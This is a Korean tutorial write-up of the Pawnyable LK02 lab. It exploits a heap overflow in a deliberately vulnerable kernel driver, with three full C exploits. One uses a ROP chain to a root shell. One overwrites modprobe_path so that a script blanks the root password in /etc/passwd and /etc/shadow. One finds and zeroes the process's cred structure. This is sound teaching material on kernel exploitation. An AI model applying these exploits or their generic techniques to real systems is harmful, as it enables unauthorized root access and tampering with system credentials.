[Kernel Exploit Tech][Pawnyable] LK02 - Heap Overflow

pawnyable.cafe 내용을 바탕으로 정리한 글입니다.
각주에 이해에 도움이 되는 내용이 많으므로 꼭 같이 읽기를 권장합니다.

1. Heap Overflow

바뀐 소스를 잘 살펴보면 stack overflow와 동일한 이유로 g_buf에서 heap overflow가 발생함을 알 수 있다. 마찬가지로 이를 통해 힙의 값을 읽거나 쓸 수 있기 때문에 위와 비슷하게 공격 방식을 설정할 수 있다. 다만 커널의 base 주소를 알아낼 때 stack overflow처럼 return address를 쓸 수는 없기 때문에 다른 방법을 설정해야 한다.

커널의 메모리 할당을 관리하는 SLUB은1 유저영역의 tcache나 fashbin처럼 single linked list로 free된 청크들을 관리한다. g_buf 할당 전 freelist에 값이 들어있다면 (즉, 해제된 청크가 존재해 freelist에서 g_buf를 할당한다면) 내가 원하는 객체 주변에 g_buf를 위치시킬 수 없기 때문에 공격이 어렵다. 이를 위해 g_buf 할당 전 우선 freelist에 있는 청크들을 모두 소진시켜 이후 할당되는 청크들이 모두 메모리상에서 인접하도록 작업해야 한다. 이를 위해 heap spray가 사용된다.

g_buf의 크기가 0x400으로 kmalloc-1024에서 할당한다는 것을 생각하면 같은 영역에 속하고, 커널 주소를 담고 있는 tty_struct를 공격에 사용할 객체로 고려해볼 수 있다. 이 구조체는 /dev/ptmx를 열면 할당된다. 우선 g_buf 주변으로 이 구조체를 잔뜩 할당한 후 관찰하면 제대로 할당되었음을 알 수 있다.

    for (int i = 0; i < 50; i++)
        spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);

    fd = open("/dev/holstein", O_RDWR);

    for (int i = 50; i < 100; i++)
        spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);

    read(fd, buf, 0x500);

spray_result.png

이때 g_buf+0x418이 커널 영역의 주소이므로 (이는 vmmap을 통해 간단히 알아낼 수 있다!) 이를 통해 커널의 base 주소를 구할 수 있다. 2

kbase_calc.png

kbase_result.png

2-1. ROP

커널의 base주소를 구했으므로 stack overflow에서 했던 대로 ROP를 생각해볼 수 있다. 그러나 stack이 아닌 heap의 데이터만 조작할 수 있기 때문에 return address overwrite같은 간단한 방법으로는 RIP를 제어할 수 없다. 이를 위해서 위에서 커널의 base 주소 유출에 사용한 tty_struct를 다시 한 번 사용한다.

// Def. in /include/linux/tty.h, line 195 (@linux-6.0.19)
struct tty_struct {
	struct kref kref;
	int index;
	struct device *dev;
	struct tty_driver *driver;
	struct tty_port *port;
	const struct tty_operations *ops;  // 사용
	...

여기서는 ops 멤버 변수를 사용한다. tty_struct.ops는 함수 테이블로, open(), write()등의 함수가 호출되었을 때 어떤 함수를 호출할지에 대한 정보가 다음과 같이 기록되어 있다.

// Def. in /include/linux/tty_driver.h, line 349 (@linux-6.0.19)
struct tty_operations {
	struct tty_struct * (*lookup)(struct tty_driver *driver,
			struct file *filp, int idx);
	int  (*install)(struct tty_driver *driver, struct tty_struct *tty);
	void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
	int  (*open)(struct tty_struct * tty, struct file * filp);
	void (*close)(struct tty_struct * tty, struct file * filp);
	void (*shutdown)(struct tty_struct *tty);
	void (*cleanup)(struct tty_struct *tty);
	ssize_t (*write)(struct tty_struct *tty, const u8 *buf, size_t count);
	int  (*put_char)(struct tty_struct *tty, u8 ch);
	void (*flush_chars)(struct tty_struct *tty);
	unsigned int (*write_room)(struct tty_struct *tty);
	unsigned int (*chars_in_buffer)(struct tty_struct *tty);
	int  (*ioctl)(struct tty_struct *tty,
		    unsigned int cmd, unsigned long arg);

여기서는 index가 12인 ioctl 필드를 우리가 원하는 주소로 덮어서 흐름을 임의로 조작할 수 있다. 즉 위에서 열어둔 /dev/ptmx에 대해 ops 변수를 조작해 ioctl()에 대한 동작을 우리가 원하는 것으로 바꾸고, ioctl()을 실행하면 우리가 원하는 주소로 실행 흐름을 옮길 수 있다는 것이다. 이를 위해서 heap상 어딘가에 가짜 tty_operations[]를 만들고, ops를 이 주소로 덮어씌우면 우리가 원하는 곳으로 실행 흐름을 옮기는 것이 가능하다. 이때 tty_struct + 0x38가 자기 자신을 가리키고 있다는 사실을 이용하면 heap상에서 g_buf의 주소를 알 수 있다.

또한 rsp를 stack이 아닌 heap상의 임의 주소로 옮겨야 구성한 ROP Chain을 따라오게 된다. 이때 ioctl()실행 직후 레지스터를 관찰하면

ioctl_result.png

두 번째 인자가 rcx, r12 레지스터에 하위 4바이트만 저장되고 세 번째 인자가 온전히 rdx, r8, r14에 저장된다는 것을 알 수 있고, 따라서 다음과 같은 가젯을 사용할 수 있다.

0xffffffff813a478a: push rdx; mov ebp, 0x415bffd9; pop rsp; pop r13; pop rbp; ret;

이들을 전부 합치면 다음과 같은 payload 구성이 가능하다.

    unsigned long *p = (unsigned long *)buf;
    p[12] = push_rdx_mov_ebp_415bffd9h_pop_rsp_r13_rbp;  // ioctl 호출 시 이리로 jmp

    unsigned long *chain = &p[13];    // rsp가 이동할 자리임
    *chain++ = 0xdeadbeef;            // r13 (쓰레기)
    *chain++ = 0xdeadbeef;            // rbp (쓰레기)
    *chain++ = pop_rdi_ret;
    *chain++ = 0;
    *chain++ = prepare_kernel_cred;
    *chain++ = pop_rcx_ret;
    *chain++ = 0;
    *chain++ = mov_rdi_rax_ret;
    *chain++ = commit_creds;
    *chain++ = swapgs_restore_regs_and_return_to_usermode;
    *chain++ = 0xdeadbeef;
    *chain++ = 0xcafebabe;
    *chain++ = win;
    *chain++ = user_cs;
    *chain++ = user_rflags;
    *chain++ = user_rsp;
    *chain++ = user_ss;

    *(unsigned long *)&buf[0x418] = g_buf; // 가짜 ops

전체 exploit 코드는 다음과 같다.

펼치기/접기
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/ioctl.h>

#define k_offset 0xc38880
#define swapgs_restore_regs_and_return_to_usermode (kbase + 0x800e26)

#define push_rdx_mov_ebp_415bffd9h_pop_rsp_r13_rbp (kbase + 0x3a478a)

#define pop_rcx_ret (kbase + 0x13c1c4)
#define mov_rdi_rax_ret (kbase + 0x62707b)
#define pop_rdi_ret (kbase + 0xd748d)

#define prepare_kernel_cred (kbase + 0x074650)
#define commit_creds (kbase + 0x0744b0)

unsigned long user_cs, user_ss, user_rsp, user_rflags;

static void win() {
    char *argv[] = { "/bin/sh", NULL };
    char *envp[] = { NULL };
    puts("[+] win!");
    execve("/bin/sh", argv, envp);
}

static void save_state() {
    asm(
        "movq %%cs, %0\n"
        "movq %%ss, %1\n"
        "movq %%rsp, %2\n"
        "pushfq\n"
        "popq %3\n"
        : "=r"(user_cs), "=r"(user_ss), "=r"(user_rsp), "=r"(user_rflags)
        :
        : "memory");
}

int main() {
    save_state();
    char buf[0x500];
    int spray[100];
    int fd = -1;
    unsigned long kbase;
    unsigned long g_buf;

    // Heap spray
    for (int i = 0; i < 50; i++)
        spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);

    fd = open("/dev/holstein", O_RDWR);

    for (int i = 50; i < 100; i++)
        spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);

    // 1. Leak kernel base
    read(fd, buf, 0x500);
    kbase = *(unsigned long *)&buf[0x418] - k_offset;
    printf("Kernel base: %p\n", kbase);

    g_buf = *(unsigned long *)&buf[0x438] - 0x438;
    printf("Buf address: %p\n", g_buf);

    unsigned long *p = (unsigned long *)buf;
    p[12] = push_rdx_mov_ebp_415bffd9h_pop_rsp_r13_rbp;  // ioctl 호출 시 이리로 jmp

    unsigned long *chain = &p[13];
    *chain++ = 0xdeadbeef;  // r13 (쓰레기)
    *chain++ = 0xdeadbeef;  // rbp (쓰레기)
    *chain++ = pop_rdi_ret;
    *chain++ = 0;
    *chain++ = prepare_kernel_cred;
    *chain++ = pop_rcx_ret;
    *chain++ = 0;
    *chain++ = mov_rdi_rax_ret;
    *chain++ = commit_creds;
    *chain++ = swapgs_restore_regs_and_return_to_usermode;
    *chain++ = 0xdeadbeef;
    *chain++ = 0xcafebabe;
    *chain++ = win;
    *chain++ = user_cs;
    *chain++ = user_rflags;
    *chain++ = user_rsp;
    *chain++ = user_ss;

    *(unsigned long *)&buf[0x418] = g_buf; // 가짜 ops

    write(fd, buf, 0x500);

    for (int i = 0; i < 100; i++) {
        ioctl(spray[i], 0xdeadbeef, g_buf + 8 * 13);  // rsp가 갈 위치
    }

    getchar();

    close(fd);
    return 0;
}

실행하면 쉘을 얻을 수 있다.

2-2. AAW - modprobe_path

위에서 봤던 ioctl() 실행 후 레지스터의 상태를 고려해 사용할 수 있는 몇 가지 가젯들을 살펴보면

0xffffffff810477f7 : mov qword ptr [rdx], rcx ; ret

위 가젯을 통해 rdx, rcx를 직접 설정하면 rdx가 기리키는 곳에 임의 주소 쓰기가 가능하다는 사실을 알 수 있다.

일반적으로 ELF형식이나 파일이나 #!으로 시작하지 않는 프로그램을 실행시키려고 시도하면 __request_module()이 실행된다. 이 모듈은 modprobe_path문자열을 실행하는데, modprobe_path에는 기본적으로 /sbin/modprobe가 저장되어 있다. 즉 이 변수에 저장된 문자열을 내가 원하는 명령으로 바꾸면 root권한으로 그 파일을 실행할 수 있게 된다. 또한 modprobe_path는 변수에 불과하므로 ASLR의 영향을 받지 않아 주소를 찾는 것도 굉장히 쉽다.

find_modprobe.png

이제 이 주소에 위에서 발견한 aaw를 통해 실행 파일의 경로만 지정해주면 된다. aaw를 수행하는 함수는 다음과 같이 짤 수 있다.

void aaw(unsigned long addr, unsigned int val) {
    // ioctl의 두 번째 인자가 rcx, 세 번째 인자가 rdx로 이동
    unsigned long *p = (unsigned long *)&buf;
    p[12] = mov_byref_rdx_rcx_ret;
    *(unsigned long *)&buf[0x418] = g_buf;

    write(fd, buf, 0x420);

    for (int i = 0; i < 100; i++)
        ioctl(spray[i], val, addr);
}

실행 파일은 /tmp/evil.sh로 설정했고, 이 스크립트 파일에서는 /etc/shadow/etc/passwd를 수정해 root의 비밀번호를 없엔다. 전체 익스플로잇 코드는 다음과 같다.

펼치기/접기
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/ioctl.h>

#define k_offset 0xc38880
#define swapgs_restore_regs_and_return_to_usermode (kbase + 0x800e26)

#define push_rdx_mov_ebp_415bffd9h_pop_rsp_r13_rbp (kbase + 0x3a478a)

#define pop_rcx_ret         (kbase + 0x13c1c4)
#define mov_rdi_rax_ret     (kbase + 0x62707b)
#define pop_rdi_ret         (kbase + 0xd748d)
#define mov_byref_rdx_rcx_ret     (kbase + 0x477f7)

#define prepare_kernel_cred (kbase + 0x074650)
#define commit_creds        (kbase + 0x0744b0)

#define modprobe_path 0xffffffff81e38180

unsigned long user_cs, user_ss, user_rsp, user_rflags;

char buf[0x500];
unsigned long kbase, g_buf;
int spray[100];
int fd = -1;

static void win() {
    char *argv[] = { "/bin/sh", NULL };
    char *envp[] = { NULL };
    puts("[+] win!");
    execve("/bin/sh", argv, envp);
}

static void save_state() {
    asm(
        "movq %%cs, %0\n"
        "movq %%ss, %1\n"
        "movq %%rsp, %2\n"
        "pushfq\n"
        "popq %3\n"
        : "=r"(user_cs), "=r"(user_ss), "=r"(user_rsp), "=r"(user_rflags)
        :
        : "memory");
}

void aaw(unsigned long addr, unsigned int val) {
    // ioctl의 두 번째 인자가 rcx, 세 번째 인자가 rdx로 이동
    unsigned long *p = (unsigned long *)&buf;
    p[12] = mov_byref_rdx_rcx_ret;
    *(unsigned long *)&buf[0x418] = g_buf;

    write(fd, buf, 0x420);

    for (int i = 0; i < 100; i++)
        ioctl(spray[i], val, addr);
}

int main() {
    save_state();

    // Heap spray
    for (int i = 0; i < 50; i++)
        spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);

    fd = open("/dev/holstein", O_RDWR);

    for (int i = 50; i < 100; i++)
        spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);

    // 1. Leak kernel base
    read(fd, buf, 0x500);
    kbase = *(unsigned long *)&buf[0x418] - k_offset;
    printf("Kernel base: %p\n", kbase);

    g_buf = *(unsigned long *)&buf[0x438] - 0x438;
    printf("Buf address: %p\n", g_buf);

    char cmd[] = "/tmp/evil.sh";
    for (int i = 0; i < sizeof(cmd); i += 4) {
        aaw(modprobe_path + i, *(unsigned int*)&cmd[i]);
    }

    system("echo -e \"#!/bin/sh\\necho 'root::0:0:root:/root:/bin/sh' > /etc/passwd\\necho 'root::18514:0:99999:7:::' > /etc/shadow\" > /tmp/evil.sh");
    system("chmod +x /tmp/evil.sh");
    system("echo -e '\xde\xad\xbe\xef' > /tmp/pwn");
    system("chmod +x /tmp/pwn");
    system("/tmp/pwn");

    getchar();

    close(fd);
    return 0;
}

실행하면 비밀번호 없이 root로 su할 수 있다.

2-3. AAR - cred 구조체 조작

마찬가지로 위에서 봤던 ioctl() 실행 후 레지스터의 상태를 고려해 사용할 수 있는 몇 가지 가젯들을 더 살펴보면 아래와 같은 가젯을 찾을 수 있다.

0xffffffff8118a285 : mov eax, dword ptr [rdx] ; ret

위 가젯을 통해 rdx를 원하는 주소로 설정하면 ioctl의 리턴값이 그 주소의 값이 된다. 다만 eax를 쓰기 때문에 4바이트씩만 읽을 수 있다.

커널 힙의 크기는 그다지 크지 않기 때문에 힙을 전체 탐색해 cred 구조체를 찾고, 그 필드들을 0으로 덮어써 root 권한을 얻는 방법을 생각해볼 수 있다. 이때 프로세스의 cred 구조체는 task_struct의 멤버로 들어가 있으므로 task_struct의 구조를 다시 살펴보면

enum {
	TASK_COMM_LEN = 16,
};

struct task_struct {
    ...
	const struct cred __rcu		*ptracer_cred;
	const struct cred __rcu		*real_cred;
	const struct cred __rcu		*cred;

#ifdef CONFIG_KEYS
	struct key			*cached_requested_key;
#endif
	/*
	 * executable name, excluding path.
	 *
	 * - normally initialized setup_new_exec()
	 * - access it with [gs]et_task_comm()
	 * - lock it with task_lock()
	 */
	char				comm[TASK_COMM_LEN];
    ...
}

comm 필드에 주목해볼 수 있다. 이 필드에는 실행 파일의 이름이 16바이트 들어가며, prctl()로 변경이 가능하다. 따라서 저 필드에 특정 문자열을 저장해둔 뒤 힙을 탐색하며 미리 저장한 문자열을 찾으면 된다.

AAR을 할 때 위에서처럼 모든 spray 한 객체에 대해 ioctl()을 수행하면 시간이 매우 오래 걸리므로 heap overflow로 인해 영향을 받는 객체의 file descriptor를 찾아야 한다. 이때 원래 /dev/ptmx에 대한 ioctl()은 -1을 반환한다는 것을 고려하면 (원래 구현되지 않은 동작이므로) 다음과 같이 구현이 가능하다.

unsigned int aar(unsigned long addr) {
    // ioctl의 두 번째 인자가 rcx, 세 번째 인자가 rdx로 이동
    unsigned int val;
    static int spray_fd = -1;

    if (spray_fd == -1) {
        unsigned long *p = (unsigned long*)&buf;
        p[12] = mov_eax_byref_rdx_ret;
        *(unsigned long*)&buf[0x418] = g_buf;

        write(fd, buf, 0x420);

        for (int i = 0; i < 100; i++) {
            val = ioctl(spray[i], 0xdeadbeef, addr);
            if (val != -1) {
                printf("affected tty_struct at %d\n", i);
                spray_fd = spray[i];
                return val;
            }
        }
    }

    val = ioctl(spray_fd, 0xdeadbeef, addr);
    return val;
}

이제 prctl()로 comm에 임의의 값을 써준 후 힙 전체를 탐색한다.

    prctl(PR_SET_NAME, "1q2w3e4r");
    unsigned long addr = g_buf - 0x1000000;
    for (;;addr += 0x8) {
        if ((addr & 0xfffff) == 0)
            printf("searching... 0x%016lx\n", addr);

        if (aar(addr) == 0x77327131 && aar(addr + 4) == 0x72346533) {
            printf("found comm at %p\n", addr);
            break;
        }
    }

g_buf에서 0x100000정도 떨어진 곳부터 검사하라고 나와있지만 이렇게 검사하면 다음과 같이 kernel panic이 발생하고, 제대로 된 cred 구조체 주소를 가져오지 못한다. 어떤 이유에서인진 모르겠지만 저 값이 힙에 하나만 있는 것이 아니라 몇 개 존재하는 것 같아 보인다.

이곳에 담긴 값은 문자열도 아니고 메모리 주소도 아니다. (canonical address가 아님)

fail.png

이를 해결하기 위해 탐색 범위를 0x500000정도 떨어진 곳부터 잡으면 된다. 이후 cred 구조체의 주소를 가져온 후 (문자열로부터 뒤로 8바이트) 그 주소에 0을 써 주면 된다.

    addr -= 8;
    unsigned long cred_addr = aar(addr) | ((unsigned long)aar(addr + 4) << 32);
    printf("cred: %p\n", cred_addr);

    for (int i = 1; i < 9; i++) {
        aaw(cred_addr + i * 0x4, 0);
    }

전체 익스플로잇 코드는 다음과 같다.

펼치기/접기
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>

#define k_offset 0xc38880
#define swapgs_restore_regs_and_return_to_usermode (kbase + 0x800e26)
#define push_rdx_mov_ebp_415bffd9h_pop_rsp_r13_rbp (kbase + 0x3a478a)

#define pop_rcx_ret         (kbase + 0x13c1c4)
#define mov_rdi_rax_ret     (kbase + 0x62707b)
#define pop_rdi_ret         (kbase + 0xd748d)
#define mov_byref_rdx_rcx_ret     (kbase + 0x477f7)
#define mov_eax_byref_rdx_ret     (kbase + 0x18a285)

#define prepare_kernel_cred (kbase + 0x074650)
#define commit_creds        (kbase + 0x0744b0)

#define modprobe_path 0xffffffff81e38180

unsigned long user_cs, user_ss, user_rsp, user_rflags;

unsigned long kbase, g_buf;
int spray[100];
int fd = -1;
char buf[0x500];

static void win() {
    char *argv[] = { "/bin/sh", NULL };
    char *envp[] = { NULL };
    puts("[+] win!");
    execve("/bin/sh", argv, envp);
}

static void save_state() {
    asm(
        "movq %%cs, %0\n"
        "movq %%ss, %1\n"
        "movq %%rsp, %2\n"
        "pushfq\n"
        "popq %3\n"
        : "=r"(user_cs), "=r"(user_ss), "=r"(user_rsp), "=r"(user_rflags)
        :
        : "memory");
}

unsigned int aar(unsigned long addr) {
    // ioctl의 두 번째 인자가 rcx, 세 번째 인자가 rdx로 이동
    unsigned int val;
    static int spray_fd = -1;

    if (spray_fd == -1) {
        unsigned long *p = (unsigned long*)&buf;
        p[12] = mov_eax_byref_rdx_ret;
        *(unsigned long*)&buf[0x418] = g_buf;

        write(fd, buf, 0x420);

        for (int i = 0; i < 100; i++) {
            val = ioctl(spray[i], 0xdeadbeef, addr);
            if (val != -1) {
                printf("affected tty_struct at %d\n", i);
                spray_fd = spray[i];
                return val;
            }
        }
    }

    val = ioctl(spray_fd, 0xdeadbeef, addr);
    return val;
}

void aaw(unsigned long addr, unsigned int val) {
    // ioctl의 두 번째 인자가 rcx, 세 번째 인자가 rdx로 이동
    unsigned long *p = (unsigned long *)&buf;
    p[12] = mov_byref_rdx_rcx_ret;
    *(unsigned long *)&buf[0x418] = g_buf;

    write(fd, buf, 0x420);

    for (int i = 0; i < 100; i++)
        ioctl(spray[i], val, addr);
}

int main() {
    save_state();

    // Heap spray
    for (int i = 0; i < 50; i++)
        spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);

    fd = open("/dev/holstein", O_RDWR);

    for (int i = 50; i < 100; i++)
        spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);

    // 1. Leak kernel base
    read(fd, buf, 0x500);
    kbase = *(unsigned long *)&buf[0x418] - k_offset;
    printf("Kernel base: %p\n", kbase);

    g_buf = *(unsigned long *)&buf[0x438] - 0x438;
    printf("g_buf address: %p\n", g_buf);

    prctl(PR_SET_NAME, "1q2w3e4r");
    unsigned long addr = g_buf - 0x500000;
    for (;;addr += 0x8) {
        if ((addr & 0xfffff) == 0)
            printf("searching... 0x%016lx\n", addr);

        if (aar(addr) == 0x77327131 && aar(addr + 4) == 0x72346533) {
            printf("found comm at %p\n", addr);
            break;
        }
    }

    addr -= 8;
    unsigned long cred_addr = aar(addr) | ((unsigned long)aar(addr + 4) << 32);
    printf("cred: %p\n", cred_addr);

    for (int i = 1; i < 9; i++) {
        aaw(cred_addr + i * 0x4, 0);
    }

    puts("[+] win!");
    system("/bin/sh");

    getchar();

    close(fd);
    return 0;
}

실행하면 쉘을 얻을 수 있다.

  1. SLUB Allocator에 대한 내용은 추후 깊게 다뤄볼 예정이다. 여기서는 우선 같은 bin에 속한 청크일지라도 크기가 다를 수 있는 유저영역과 달리 bin과 비슷한 kmalloc-N에서는 같은 크기의 청크들이 들어있다는 것만 알면 된다. (예를 들어 kmalloc-1024에는 항상 크기가 1024인 청크들만 존재한다.) 

  2. 구조체에서 0x18 오프셋에 있는 값(위에서 말한 커널 영역의 어딘가)들은 번갈아가면서 나온다. 예를 들어 g_buf+0x4180x1111이 적혀있다면 그 다음 구조체인 g_buf+0x818에서는 0x2222, 그 다음 구조체인 g_buf+0x400*3+0x18에는 다시 0x1111이 적혀 있는 식이다. 이들이 모두 커널 영역의 주소라는 사실을 쉽게 알 수 있다. 여기서는 짝수 번째에 나오는 값을 사용해 offset을 계산했다. 

Leave a comment